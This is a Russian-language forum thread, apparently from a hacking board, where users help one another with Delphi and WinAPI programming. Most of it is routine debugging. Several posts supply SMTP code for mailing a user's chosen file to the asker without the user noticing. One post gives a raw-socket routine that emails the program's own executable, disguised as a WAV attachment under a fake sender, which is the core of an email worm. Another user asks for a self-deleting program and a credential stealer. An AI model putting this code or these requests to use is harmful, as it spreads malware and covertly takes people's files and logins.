DarckSol Инъекцию чего? Заразить PE файл или что?

[W!z@rD]

Delphi, как провести инъекцию? Интересует код с примером...
Inject - memory????
качай либы от mad...

[z01b]

DarckSol Инъекцию чего? Заразить PE файл или что?
Тебе на wasm.ru надо, у Ms-Rem, классные туториалы с сырцами на делфи!

[Mkey]

Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....

[infernal-team]

Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.

[z01b]

http://webfile.ru/1513518 - полностью рабочий Mail Client, основан на TidSMTP

[infernal-team]

z01b нужно скрыто, чтобы пользователь не знал что файл отправляется.

[z01b]

z01b нужно скрыто, чтобы пользователь не знал что файл отправляется.
Так переделай, я чтоли тебе вирь писать буду?+если работать с компонентами VCL то у тебя получится вирь на 400 кило!

Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.
а как ты скрытно собираешся отправлять, если требует вмешательство пользователя?

[infernal-team]

Я не вирь пишу, не нужно чтобы пользователь заметил отправку файла.

[Exile1985]

Как осуществить отправку файла выбранного в OpenDialog1 на e-mail скрыто от пользователя ? Очень надеюсь на вашу помощь.

как я понимаю есть программа, в ней используется OpenDialog, короче делай так:
в процедуре опенДеалога

If OpenDialog1.Execute then
begin
// тут пишишь то что должна делать программа по
//идее, т.е. то что должен видеть пользователь

// а тут вызываешь функцию или процедуру отправки //этого файла на мыло

end.

Я не вирь пишу, не нужно чтобы пользователь заметил отправку файла.

нихера не понял, так пользователь должен видеть что файл отправляется или нет, говори точнее что надо!?

[infernal-team]

Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.

Пользователь должен выбрать файл в опендиалоге, ввести данные в edit нажать буттон, файл который он выбрал и данные введеные в едит должны мне прийти на мыло.

[Exile1985]

Exile1985 так вот мне и нужна функция ли процедура отправки на мыло.

не знаю насколько рабочий код, по словам автора работает как часы, сам протестить не могу нету под рукой Delphi слепишь под себя как те надо:

type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdPOP31: TIdPOP3;

var
Form1: TForm1;
M1: TidMessage;

...

begin
with Form1 do
begin
IdSMTP1.Connect;
M1:= TIdmessage.Create(IdSMTP1);
with M1 do
begin
Subject := 'Тема письма';
Recipients.EMailAddresses:= 'adres1@server';
From.Text:= '"имя" <adres@server>';
Body.Text:=Edit1.text; //текст который он введет в эдит
CharSet:= 'Windows-1251';
Encoding:= meMIME;
TIdAttachmentFile.Create(M1.MessageParts, OpenDialog1.FileName);//крепим файл
end;
IdPOP31.Connected; // почтовый сервер может попросить POP3 идентификацию перед отправкой почты, поэтому коннектимся ещё и по POP3
IdSMTP1.Send(M1);
IdSMTP1.Disconnect;
IdPOP31.Disconnect;
FreeAndNil(M1);
end;
end;

[z01b]

Долго думал, выкладвывать или нет , но вот она
С тебя ПЛЮСЕГ!
Procedure SendMail(Recip, FromM, Server: String);
Var
Sock : TSocket;
WsaDatas : TWSADATA;
SockAddrIn : TSockAddrIn;
F : FILE;
Body, Attach,
Sub, CTyp : String;
Linfo : Integer;

Procedure Mys(STR:STRING);
Begin
Send(Sock,STR[1],Length(STR),0);
End;

Begin

Body := m_bod;
Attach := m_att;
Sub := m_sub;
CTyp := 'audio/x-wav';
FromM := 'Jesus@Hotmail.Com';

WSAStartUp(257,WsaDatas);
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
SockAddrIn.sin_family:=AF_INET;
SockAddrIn.sin_port:=htons(25);
SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server ));
If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
Mys('HELO .com'+#13#10);
If Pos('<', Fromm)>0 Then
Mys('Mail From: '+Copy(FromM, Pos('<', FromM)+1, Pos('>', FromM)-2)+#13#10) Else
Mys('MAIL FROM: '+FromM+#13#10);
Mys('RCPT TO: '+recip+#13#10);
Mys('DATA'+#13#10);

Mys('From: '+FromM+#13#10);
Mys('Subject: '+Sub+#13#10);
Mys('To: '+Recip+#13#10);

Mys('MIME-Version: 1.0'+#13#10);
Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
Mys('--ShutFace'+#13#10);
Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);

Mys(Body+#13#10);

Mys(#13#10+#13#10);
Mys('--ShutFace'+#13#10);
Mys('Content-Type: '+CTyp+';'+#13#10);
Mys(' name="'+Attach+'"'+#13#10);
Mys('Content-Transfer-Encoding: base64'+#13#10+#13#10);
AssignFile(F,ParamStr(0));
FileMode:=0;
{$I-}
Reset(F,1);
IF IOResult=0 THEN BEGIN
BlockRead(F,FileBuf[1],FileSize(ParamStr(0)));
Mys(BASE64(FileSize(ParamStr(0))));
CloseFile(F);
END;
{$I+}
Mys(#13#10+'--ShutFace--'+#13#10+#13#10);
Mys(#13#10+'.'+#13#10);
Mys('QUIT'+#13#10);
End;

[infernal-team]

z01b тут нету аторизации, это не рабочий код, выкинь его.

[Exile1985]

z01b тут нету аторизации, это не рабочий код, выкинь его.


uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress;

...

procedure TForm1.Button1Click(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
with M do
begin
Body.Add('Типа первая строчка собщения');
From.Text := '"Рустик" <boris@uacity.com>'; //отправитель
Recipients.Add;
Recipients.Items[0].Text := '"Тест" <antohha@ukr.net>'; //Получатель
Subject := 'Тема письма'; //Тема письма
TIdAttachmentFile.Create(M.MessageParts, OpenDialog1.FileName);//крепим файл
end;

with IdSMTP1 do
begin
//авторизация
AuthenticationType := atLogin;
Host := 'uacity.com'; //хост
Username := 'boris'; // логин
Password := '1234'; // пасс
Connect();
end;
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
end;

подавись :)

[Xserg]

Xserg.... спасибо за примерчик.... я уже опробывал штук 10 подобных... во всех - косяки есть... то пробелы лишние то некоторые команды не проходят..... повторюсь...требуется именно привезать cmd.exe к форме....
Как-то так?
function SetConsoleDisplayMode(hOut:THandle;dwNewMode:DWORD ;lpdwOldMode:pointer):BOOL;
stdcall; external 'kernel32.dll' name 'SetConsoleDisplayMode';
var
smdWND:dword=0;
I,DC:dword;
P : array [0..3] of TPoint;
pi: TProcessInformation;
si: TStartupInfo;
s:string;
procedure TForm1.FormCreate(Sender: TObject);
begin
AllocConsole();
ZeroMemory(@si, SizeOf(TStartupInfo));
si.cb := SizeOf(TStartupInfo);
CreateProcess(nil,PChar('cmd.exe'), // command line
nil,nil,TRUE,0,nil,nil,
si,pi);
setlength(S,256);
setlength(S,GetConsoleTitle(@S[1],256));
SetConsoleTitle('AA_BB_CC_DD');
smdWND:=FindWindow(0,'AA_BB_CC_DD');
SetConsoleTitle(PansiChar(S));
//Делаем не на полный экран
SetConsoleDisplayMode(GetStdHandle(STD_OUTPUT_HAND LE),0,@I);
P[0] := Point( 5,23);
P[1] := Point(500-15,23);
P[2] := Point(500-15,200-5);
P[3] := Point( 5,200-5);
//Вырезаем лишнее
SetWindowRgn(smdWND,CreatePolygonRgn(P,4,Alternate ),true);
SetWindowPos(smdWND,HWND_TOPMOST,form1.left,form1. Top+200,700,200,SWP_SHOWWINDOW);
end;
procedure TForm1.FormConstrainedResize(Sender: TObject; var MinWidth,
MinHeight, MaxWidth, MaxHeight: Integer);
begin
if smdWND<>0 then
MoveWindow(smdWND,form1.left,form1.Top+200,700,200 ,true);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if smdWND<>0 then begin
Terminateprocess(pi.hProcess,0);
FreeConsole();smdWND:=0;
end;
end;

[z01b]

z01b тут нету аторизации, это не рабочий код, выкинь его.
нефигасе, этот код, лучьшый что я видел в инете, глаза открой, там авторизация есть )

[Joker-jar]

Блин, что же за напасть такая :(. Не могу из-под делфни апачи запустить! Уже ипусь полчаса, перепробовал:

var
ApacheProcInfo: TProcessInformation;
ApacheStart: TStartupInfo;
...
CreateProcess(pchar('K:\prakt\apache\bin\Apache.ex e'),nil,nil,nil,false,0,nil,nil,ApacheStart,Apache ProcInfo);
winexec('start K:\prakt\apache\bin\Apache.exe',sw_show);
winexec('K:\prakt\apache\bin\Apache.exe',sw_show);
ShellExecute(application.handle,nil,'K:\prakt\apac he\bin\Apache.exe',nil,nil,sw_show);
Во всех случаях либо ничего не происходит, либо окно мелькает и все. Так работает:
@echo off
K:
cd \prakt\apache\bin
start Apache.exe
Что за фигня?

[Xserg]

Что за фигня?
Явно не хватает :
SetCurrentDir('K:\prakt\apache\bin\');

[GlOFF]

Joker-jar Явно не хватает ключей запуска "-k start" :)

[Apache]
Start = "Вебсервер\Apache\apache.exe"
StartParams = "-k start"
Restart = "Вебсервер\Apache\apache.exe"
RestartParams = "-k restart"
Stop = "Вебсервер\Apache\apache.exe"
StopParams = "-k stop"
; Опция Autostart определяет, будет ли Apache запускаться при старте программы...
Autostart = "True"
; ...a Autostop - будет ли он закрыт при её завершении (а точнее, когда вы нажмёте кнопку
; "Quit" - "Stop all and quit" же будет начхать на эту настройку - она остановит Apache
; по-любому). Допустимые значения - True и False
Autostop = "True"

ShellExecute(application.handle,'open','K:\prakt\a pac he\bin\Apache.exe','-k start',nil,sw_show);

P.S. Но может версии не совпадать, у меня Apache_Swissknife.exe 3.0.0

[Joker-jar]

Блин, вроде разобрался, но появилась другая проблема. При запуске Apache запускается вторая копия. Когда убиваю процесс, второй так и остается висеть. Видать, это дочерний первого Apache.exe. Создаю процесс так:
var
ApacheProcInfo: TProcessInformation;
ApacheStart: TStartupInfo;
...
ApacheStart.cb := sizeof(ApacheStart);
ApacheStart.dwFlags := STARTF_USESHOWWINDOW;
ApacheStart.wShowWindow := SW_HIDE;
CreateProcess(pchar('K:\prakt\apache\bin\Apache.ex e'),nil,nil,nil,false,0,nil,nil,ApacheStart,Apache ProcInfo);
Потом убиваю:
TerminateProcess(ApacheProcInfo.hProcess, 0);
Как вместе с убиваемым процессом снести все его дочерние процессы?

[da_ff]

2 Joker-jar
однако, апач это все же сервер.
ты б хоть посмотрл на строки команды инициализации
restart - Apache.exe -w -n "Apache2" -k restart
stop - Apache.exe -w -n "Apache2" -k stop
start - Apache.exe -w -n "Apache2" -k start
это в винде

[GlOFF]

da_ff прав ->
ShellExecute(application.handle,'open','K:\prakt\a pac he\bin\Apache.exe','-k stop',nil,sw_show);

Joker-jar Это чтобы остановить сервер!

[Joker-jar]

Я все это уже перепробовал. Все равно почему-то запускается 2 копии :(

[Joker-jar]

Короче, останавливаю свой сервачок банальным киллом всех задач Apache.exe и mysqld.exe. Тупо, но работает. Мне главное практику сдать, так что на красоту забил. Всем спасибо кто помогал ;)

[infernal-team]

Exile1985 это вообще что такое? with IdSMTP1 do

[Joker-jar]

Это синтаксис. Способ обращения к методам/атрибутам и т.д. какого-либо объекта. В данном случае IdSMTP1

[_Great_]

Не надо постить тут откровенную тупость. Учебник читать иногда бывает полезно.

[GlOFF]

это вообще что такое? with IdSMTP1 do
Да ЖЕСТОКИЙ МИР (С) !!! infernal-team Простенький учебничек не помешал!
with IdSMTP1 do - типо с объектом IdSMTP1 делать следующее... например щас поймешь разницу
1) Применяя данную инструкцую

with IdSMTP1 do
begin
//авторизация
AuthenticationType := atLogin;
Host := 'uacity.com'; //хост
Username := 'boris'; // логин
Password := '1234'; // пасс
Connect();
end;

2) Не используя

begin
//авторизация
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'uacity.com'; //хост
IdSMTP1.Username := 'boris'; // логин
IdSMTP1.Password := '1234'; // пасс
IdSMTP1.Connect();
end;

Зачем это нужно? сократить "писанину"...
infernal-team Все же почитай БИБЛИЯ ДЕЛФИ - МИХАИЛ ФЛЕНОВ, к примеру!

_Great_ Ну а для чего же тогда тема создана :confused: Ведь чтобы спрашивать, а уровень у каждого свой...

[z01b]

Exile1985 это вообще что такое? with IdSMTP1 do
Без обид, но порвало )
Учебник, тебе не помешал бы )

[alamat]

Здравствуйте! Небольшая(а может очень большая) проблема, мне надо подключаться через Proxy сервер к smtp серверу при помощи компанента idsmtp. Подскажите как я могу это сделать?

[5p4x2kn3t]

Пытаюсь в своей программе получить HTML-код Web-страницы с помощью WinSock API, но программа элементарно виснет (если есть связь с Интернетом) я неправильно пользуюсь сокетами или HTTP-протоколом?

P.S. Antichat почему-то на месте многих пробелов ставит *


procedure Get;
var
k : integer;
* Servername : string;

* * FSocket* * : integer;
* * HostEnt* * : PHostEnt;
* * SockAddrIn : TSockAddrIn;
* * dSize* * * : dword;
* * Str* * * * : array [0..255] of Char;
* * WSAData* * : TWSAData;
begin

//...
* WSAStartup(257, WSAData);*
* * if Pos('http://', fUrl) = 0 then
* * * fUrl* *:= 'http://' + fUrl;

* Servername := AnsiReplaceStr(fUrl, 'http://', '');

* * FOR k := 1 TO length(Servername) DO
* * * if Servername[k] = '/' then
* * * * begin
* * * * * Servername := copy(Servername, 1, k - 1);
* * * * * break;
* * * * end;

* FSocket* * * * * * * * * * := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
* SockAddrIn.sin_family* * * := AF_INET;
* SockAddrIn.sin_port* * * * := htons(80);
* SockAddrIn.sin_addr.s_addr := inet_addr(PAnsiChar(Servername));
* * if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
* * * begin
* * * * HostEnt := gethostbyname(PAnsiChar(Servername));
* * * * * if HostEnt = nil then
* * * * * * begin
* * * * * * * closesocket(FSocket);
* * * * * * * Exit;
* * * * * * end;
* * * * SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
* * * end;
* * if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
* * * begin
* * * * lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#0));
* * * * Str := '';
* * * * send(FSocket, Str, lstrlen(Str), 0);
* * * * * repeat
* * * * * * dSize := recv(FSocket, Str, 255, 0);
* * * * * * Code.AddString(Str);
//Code - аналог TStringList
* * * * * until
* * * * * * (dSize = 0) or (dSize = SOCKET_ERROR);
* * * * closesocket(FSocket);
* * * end;
* WSACleanup();
//...
end;

[NetMan]

5p4x2kn3t > попробуй продебажить =)
Заметил только что здесь:
lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#0));
не совсем правильно...
Надо:
lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#13#10));

[5p4x2kn3t]

5p4x2kn3t > попробуй продебажить =)
Заметил только что здесь:
lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#0));
не совсем правильно...
Надо:
lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#13#10));
Все равно не помогает.

Да, у меня в программе много потоков(TThread), использующих сокеты, инициализацию WSA нужно делать только в главной части
(еще перед созданием первого потока - каждый поток порождает новые) или в каждом?

Насчет запуска в debug-режиме - последняя остановка - на recv, дальше поток виснет, причем непонятно где, кажется в цикле repeat, но хз...

[inv]

Host:....

* * * * Str := '';
???

[GlOFF]

inv Дествительно жестоко :)
* * * * lstrcpy(Str, PAnsiChar('GET ' + url + ' HTTP/1.1' + #13#10#0));
* * * * Str := '';
* * * * send(FSocket, Str, lstrlen(Str), 0);
Получить строку, обнулить и послать!

[5p4x2kn3t]

Бли-и-и-и-ин =)) как это туда попало??!!)))) Спасибо.

[zl0y]

Это кто знает как зделать на винапи в ListView,чтобы новые записи при добавлении добавлялись сверху вниз ? Или Снизу вверх?

[W!z@rD]

//Определение колличества пунктов в ListBox
function ListBox_GetItemCount(hListBox: HWND): Integer;
begin
Result := SendMessage(hListBox, LB_GETCOUNT, 0, 0);
end;

//Удаление определенного пункта в ListBox
procedure ListBox_DeleteItem(hListBox: HWND; Index: Integer);
begin
SendMessage(hListBox, LB_DELETESTRING, Index, 0);
end;

//Удаление всех пунктов в ListBox
procedure ListBox_ClearItems(hListBox: HWND);
begin
SendMessage(hListBox, LB_RESETCONTENT, 0, 0);
end;

//Добавление пункта в ListBox
procedure ListBox_AddItem(hListBox: HWND; NewItem: String);
begin
SendMessage(hListBox, LB_ADDSTRING, 0, Integer(NewItem));
end;

//Добавление пункта в определенное место в ListBox
procedure ListBox_InsertItem(hListBox: HWND; Index: Integer; NewItem: String);
begin
SendMessage(hListBox, LB_INSERTSTRING, Index, Integer(NewItem));
end;

//Определение имени выделеного пункта в ListBox
function ListBox_GetSelectedItem(hListBox: HWND): string;
var
Index, len: Integer;
s: string;
buffer: PChar;
begin
Index := SendMessage(hListBox, LB_GETCURSEL, 0, 0);
len := SendMessage(hListBox, LB_GETTEXTLEN, wParam(Index), 0);
GetMem(buffer, len + 1);
SendMessage(hListBox, LB_GETTEXT, wParam(Index), lParam(buffer));
SetString(s, buffer, len);
FreeMem(buffer);
Result := s;
end;

//Определение номера выделеного пункта в ListBox
function ListBox_GetCountSelectedItem(hListBox: HWND): Integer;
var
Index, len: Integer;
s: string;
buffer: PChar;
begin
Index := SendMessage(hListBox, LB_GETCURSEL, 0, 0);
len := SendMessage(hListBox, LB_GETTEXTLEN, wParam(Index), 0);
GetMem(buffer, len + 1);
SendMessage(hListBox, LB_GETTEXT, wParam(Index), lParam(buffer));
SetString(s, buffer, len);
FreeMem(buffer);
Result := Index;
end;

//Определение имени пункта по номеру в ListBox
function ListBox_GetItem(hListBox: HWND; LbItem: Integer): string;
var
l: Integer;
buffer: PChar;
begin
l := SendMessage(hListBox, LB_GETTEXTLEN, LbItem, 0);
GetMem(buffer, l + 1);
SendMessage(hListBox, LB_GETTEXT, LbItem, Integer(buffer));
Result := StrPas(buffer);
FreeMem(buffer);
end;

//Выделение всех пунктов в ListBox
procedure ListBox_SelAllItems(hListBox: HWND);
var
CountItems, i: Integer;
begin
CountItems := SendMessage(hListBox, LB_GETCOUNT, 0, 0);
if CountItems = 0 then exit;
for i := 0 to CountItems do
SendMessage(hListBox, LB_SETSEL, Integer(true), i);
end;

//Выбор пункта
procedure ListBox_SelectedItem(hListBox: HWND; Index: Integer);
begin
SendMessage(hListBox, LB_SETCURSEL, Index, 0);
end;

(c) Lenin_Inc

[Ni0x]

Ну во-первых, нужно приводить код полностью, во-вторых, научиться пользоваться отладчиком.

[GlOFF]

PandoraBox Реально попробуй сам найти ошибку как говорит Ni0x -Все просто!!!
научиться пользоваться отладчиком.

// P.S. Просто реально отпадут очевидные вопросы и многие непонятные проблемы, которые покажет отладчик в виде возврата из функций невалидного значения, по которому ТЫ сможешь судить о валидности параметров и ещё .....

[PandoraBox]

:(

[yeti]

PandoraBox, хмм... API и дельфи... просто суешь после каждой строчки(подозрительной) мессаджбокс. тупо компилишь, запускаешь.. если не вылетает мессаджбокс - знач в пред строчке бага... ВСЕ

[PandoraBox]

PandoraBox, хмм... API и дельфи... просто суешь после каждой строчки(подозрительной) мессаджбокс. тупо компилишь, запускаешь.. если не вылетает мессаджбокс - знач в пред строчке бага... ВСЕ
Так я эт уже закоментировал проблема именно где то здесь

между
var
OpenStr, SaveStr, DelemStr, BtnStart: PChar;
FullF, ClearF: TextFile;
i: integer;
s: String;
begin
{Clear process}
CurUpTimeHr := 0;
CurUpTimeMin := 0;
CurUpTimeSec := 0;
Stop := False;

SetTimer(hWnd, 1, 1000, @TimerWork);
GetDlgItemText(hWnd, 1, @OpenStr, MAX_PATH-1);
GetDlgItemText(hWnd, 3, @SaveStr, MAX_PATH-1);
GetDlgItemText(hWnd, 5, @DelemStr, MAX_PATH-1);
и
AssignFile(FullF, OpenStr);
Reset(FullF);
AssignFile(ClearF, SaveStr);
ReWrite(ClearF);

try
UpdateWindow(hWnd);
while not EOF(FullF) do
begin
if Stop = True then
begin
CloseFile(FullF);
CloseFile(ClearF);
SetDlgItemText(hWnd, 8, 'Старт');
KillTimer(hWnd, 1);
EnableWindow(GetDlgItem(hWnd,1), True);
EnableWindow(GetDlgItem(hWnd,2), True);
EnableWindow(GetDlgItem(hWnd,3), True);
EnableWindow(GetDlgItem(hWnd,4), True);
Exit;
end;
i := i + 1;
SetDlgItemText(hWnd, 6, PChar(IntToStr(i)));
UpdateWindow(hWnd);
ReadLn(FullF, s);
if pos(DelemStr, s) > 0
then WriteLn(ClearF, Copy(s, 0, pos(DelemStr, s) - 1));
UpdateWindow(hWnd);
end;

[W!z@rD]

var
OpenStr, SaveStr, DelemStr, BtnStart: PChar;
// BtnStart-?
FullF, ClearF: TextFile;
i: integer;
s: String;
begin
{Clear process}
CurUpTimeHr := 0;
CurUpTimeMin := 0;
CurUpTimeSec := 0;
Stop := False;

SetTimer(hWnd, 1, 1000, @TimerWork);

GetDlgItemText(hWnd, 1, OpenStr, MAX_PATH-1);
GetDlgItemText(hWnd, 3, SaveStr, MAX_PATH-1);
GetDlgItemText(hWnd, 5, DelemStr, MAX_PATH-1);
и
AssignFile(FullF, OpenStr);
Reset(FullF);
AssignFile(ClearF, SaveStr);
ReWrite(ClearF);

try
UpdateWindow(hWnd);
while not EOF(FullF) do
begin
if Stop = True then
begin
CloseFile(FullF);
CloseFile(ClearF);
SetDlgItemText(hWnd, 8, 'Старт');
KillTimer(hWnd, 1);
EnableWindow(GetDlgItem(hWnd,1), True);
EnableWindow(GetDlgItem(hWnd,2), True);
EnableWindow(GetDlgItem(hWnd,3), True);
EnableWindow(GetDlgItem(hWnd,4), True);
Exit;
end;
i := i + 1;
SetDlgItemText(hWnd, 6, PChar(IntToStr(i)));
UpdateWindow(hWnd);
ReadLn(FullF, s);
if pos(DelemStr, s) > 0
then WriteLn(ClearF, Copy(s, 0, pos(DelemStr, s) - 1));
UpdateWindow(hWnd);
end;[/QUOTE]
такс... ну и еще взгляну...

[Xserg]

PandoraBox
procedure TimerWork(HWND,uMsg,idEvent,dwTime:dword);stdcall; <- Не забыл?
begin end;

[PandoraBox]

PandoraBox
procedure TimerWork(HWND,uMsg,idEvent,dwTime:dword);stdcall; <- Не забыл?
begin end;
Забыл : stdcall; :B

procedure TimerWork;
begin
CurUpTimeSec := CurUpTimeSec + 1;

if CurUpTimeSec = 60 then
begin
CurUpTimeSec := 0;
CurUpTimeMin := CurUpTimeMin + 1;
end;

if CurUpTimeMin = 60 then
begin
CurUpTimeMin := 0;
CurUpTimeHr := CurUpTimeHr + 1;
end;
SetDlgItemText(hWnd, 7, PChar(IntToStr(CurUpTimeHr) + ':' + IntToStr(CurUpTimeMin) + ':' + IntToStr(CurUpTimeSec)));
end;

[Xserg]

Забыл : stdcall; :B
Ну тогда делись кодом, где у тебя инициализация.
OpenStr, SaveStr, DelemStr, BtnStart: PChar;

[PandoraBox]

function MainDlg(hWnd: HWND; msg: UINT; wParam: WPARAM; lParam: LPARAM): Integer; StdCall;
var
Open, Save, Delem, Btn: array [0..MAX_PATH-1] of Char;
OpenStr, SaveStr, DelemStr, BtnStr: String;
procedure TimerWork; stdcall;
begin
......
end;
.....
begin
case msg of
......
WM_COMMAND : begin
if LOWORD(wParam) = 8 then
begin
.....
GetDlgItemText(hWnd, 1, Open, SizeOf(Open));
GetDlgItemText(hWnd, 3, Save, SizeOf(Save));
GetDlgItemText(hWnd, 5, Delem, SizeOf(Delem));
GetDlgItemText(hWnd, 8, Btn, SizeOf(Btn));

OpenStr := Open;
SaveStr := Save;
DelemStr := Delem;
BtnStart := Btn;

SetTimer(hWnd, 666666, 1000, @TimerWork);

if PChar(BtnStr) = 'Начать' then
begin
SetDlgItemText(hWnd, 8, 'Стоп');
AssignFile(FullF, OpenStr);
Reset(FullF);
AssignFile(ClearF, SaveStr);
ReWrite(ClearF);
try
UpdateWindow(hWnd);
while not EOF(FullF) do
begin
.....
UpdateWindow(hWnd);
end;
end;
....
end;

begin
DialogBox(hInstance, 'MAIN', 0, @MainDlg);
end.
Зы пришлось мутить такую муть шоб нормально прочитало >:]

Куда поместить ProcessMessages for WinAPI?
while GetMessage(m, hWnd, 0, 0) do begin
TranslateMessage(m);
DispatchMessage(m);
end;

[Ni0x]

Куда поместить ProcessMessages for WinAPI?
засовывай после CreateWindow и ShowWindow.

hwnd = CreateWindowEx(...);
ShowWindow (hwnd, SW_SHOW);
while (GetMessage (&messages, 0, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}

[PandoraBox]

засовывай после CreateWindow и ShowWindow.

hwnd = CreateWindowEx(...);
ShowWindow (hwnd, SW_SHOW);
while (GetMessage (&messages, 0, 0, 0))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}

есть DialogBox(hInstance, 'MAIN', 0, @MainDlg); ((

[W!z@rD]

есть DialogBox(hInstance, 'MAIN', 0, @MainDlg); ((
Пандора... честное слово =/
на API же пишешь...я тебе скинул LENIN_INC там есть пример вызова MessageBox'a при событиях окна вплоть до его полного отображения...
OnCreate
OnPaint
OnShow
OnActive
(что-то вроде этого)
посмотри...

[Killerkod]

Значит так. Я изучаю делфи пару недель... Пока просто читаю и запоминаю))) Но вот хотел написать простую программку, которая бы при нажатии на кнопку выводила второе окно... И нефига не получается... Пишу
Form2.Show;
А при компилляции он мне ошибку выдает! Один чел с кибер зоны мне дал свой вариант проги, там так же, но все работает! А у мну нет!
Вот тут сам исходник - http://slil.ru/24853531
Там в принципе только две формы, на одной есть кнопка, при ее нажатии я хочу чтоб вылазила вторая форма, но у мну не получается...

[GlOFF]

Killerkod Очевидно у тебя есть два модуля Unit1 и Unit2. Во втором Form2 - чтобы её показать с помошью Form2.Show; Нужно подключить\связать модуль 1 с модулем 2 -
жми File -> Use unit -> вибираем Unit2 и должно все работать!

// Killerkod лучше писать ошибки компиляции, так тебе быстрее помогут!

[Killerkod]

Спасибо! Усе работает...

Вот еще вопросик:
Вот например в проге есть прогресс бар который заполняется по таймеру после нажатия на кнопку. Как сделать чтобы после заполнения прогресс бара, появлялась вторая форма?
Вот такой вот ламерский у мну вопрос))

[_Pantera_]

мда.... через условие, учи основы!

[W!z@rD]

Спасибо! Усе работает...

Вот еще вопросик:
Вот например в проге есть прогресс бар который заполняется по таймеру после нажатия на кнопку. Как сделать чтобы после заполнения прогресс бара, появлялась вторая форма?
Вот такой вот ламерский у мну вопрос))

procedure TForm1.Button1Click(Sender: TObject);
begin
Timer1.Enabled:=True;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
ProgressBar1.StepIt;
if ProgressBar1.Position = ProgressBar1.Max then Form2.Show;
end;

[Killerkod]

Спасибо, это то, что и надо было))
Только вот эту строчку надо убрать - ProgressBar1.StepIt;
Иначе прогрессбар ходит как по циклу!

[z01b]

Спасибо, это то, что и надо было))
Только вот эту строчку надо убрать - ProgressBar1.StepIt;
Иначе прогрессбар ходит как по циклу!
Не надо, StepIt делает шаг! Если его убрать то оно никогда не заполнится!

[Killerkod]

Я просто другой код вставил
ProgressBar1.Position := ProgressBar1.Position + 1;
Может из-за этого надо тот удалить...
Да и еще, если добавить тот код, то ProgressBar будет заполняться до бесконечности! Он заполнится, потом с начала и т.д....

Короче вместо этого кода:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
ProgressBar1.StepIt;
if ProgressBar1.Position = ProgressBar1.Max then Form2.Show;
end;

Я вставил этот:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
ProgressBar1.Position := ProgressBar1.Position + 1;
if ProgressBar1.Position = 100 then Form4.Show;
end;

И теперь как только заполняется ProgressBar вылазиет другое окно. А то в первом случае не вылазило((

[undewaternemo]

Привет
подскажите кодом пожалуйста как удалить ехе после выполнения - чтобы запустил прогу - она отработала и удалилась
и есть ли у кого пример выдирания с машинки разичных данных фтп - мыла - аси и так далее
p.s. по второму вопросу - может просто знаете паблик сорци где есть реализация - посмотрю что и как.
Спасибо

[Fen-Omen]

и есть ли у кого пример выдирания с машинки разичных данных фтп - мыла - аси и так далее
p.s. по второму вопросу - может просто знаете паблик сорци где есть реализация - посмотрю что и как.
Спасибо

Паблик сорцы есть всюду, и даже в этом разделе...

[infernal-team]

[Error] Unit4.pas(86): Undeclared identifier: 'MessageParts'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit4.pas'

Что означает эта ошибкА?

[Xserg]

[Error] Unit4.pas(86): Undeclared identifier: 'MessageParts'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit4.pas'

Что означает эта ошибкА?
Не русским же языком написано:

[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit4.pas'
Неисправимая ошибка в строке 8 , невозможно скомпилировать используемую часть 'Unit4.pas'
Unit4 in 'Unit4.pas' {Form4};
[Error] Unit4.pas(86): Undeclared identifier: 'MessageParts'
Т.к. неопределенный идентификатор MessageParts в строке 86
Который либо вообще не определен, либо определен в UnitХ.pas и не известен в 'Unit4.pas'
Используй uses UnitX (X номер Unit где определена MessageParts) в 'Unit4.pas'

Зы пока писал сам запутался.

[infernal-team]

[Error] Unit4.pas(86): Undeclared identifier: 'TIdAttachmentFile'
[Error] Unit4.pas(86): Missing operator or semicolon
[Error] Unit4.pas(86): Incompatible types: 'TComponent' and 'TIdMessageParts'
[Fatal Error] Project1.dpr(8): Could not compile used unit 'Unit4.pas'

Вот другая поблема ошибка вылетает из за этой строки:
TIdAttachmentFile.Create(M.MessageParts, OpenDialog1.FileName);
что я сделал не так помоги пожалуйста.

[infernal-team]

[Fatal Error] Unit4.pas(9): Program or unit 'Unit4' recursively uses itself
Вот какая ошибка после твоего совета, Xserg !!!

[infernal-team]

Справился сам, всем спасибо.

